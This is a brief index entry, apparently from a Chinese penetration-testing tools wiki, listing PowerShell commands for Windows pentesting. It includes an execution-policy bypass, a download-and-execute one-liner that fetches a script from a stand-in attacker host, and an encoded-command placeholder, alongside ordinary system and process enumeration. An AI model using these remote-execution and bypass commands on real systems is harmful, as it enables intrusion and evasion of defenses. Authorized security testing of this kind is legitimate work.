# Windows渗透
English: Windows Penetration
- Tool Count: 1
- Use this file to choose the right tool quickly, then open the linked source markdown for full command details.
## PowerShell渗透命令
- ID: powershell-pentest
- Command Count: 11
- Original Extracted Source: original extracted tools-wiki source/powershell-pentest.md
Description:
PowerShell渗透测试常用命令
Representative Commands:
- 执行策略绕过: `powershell -ExecutionPolicy Bypass -File script.ps1`
- 远程下载执行: `IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")`
- 编码执行: `powershell -EncodedCommand BASE64_ENCODED_COMMAND`
- 获取系统信息: `Get-ComputerInfo
systeminfo
Get-WmiObject -Class Win32_OperatingSystem`
- 获取进程: `Get-Process | Select-Object Name,Id,Path
Get-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine`
External References:
- https://github.com/darkoperator/Posh-SecMod

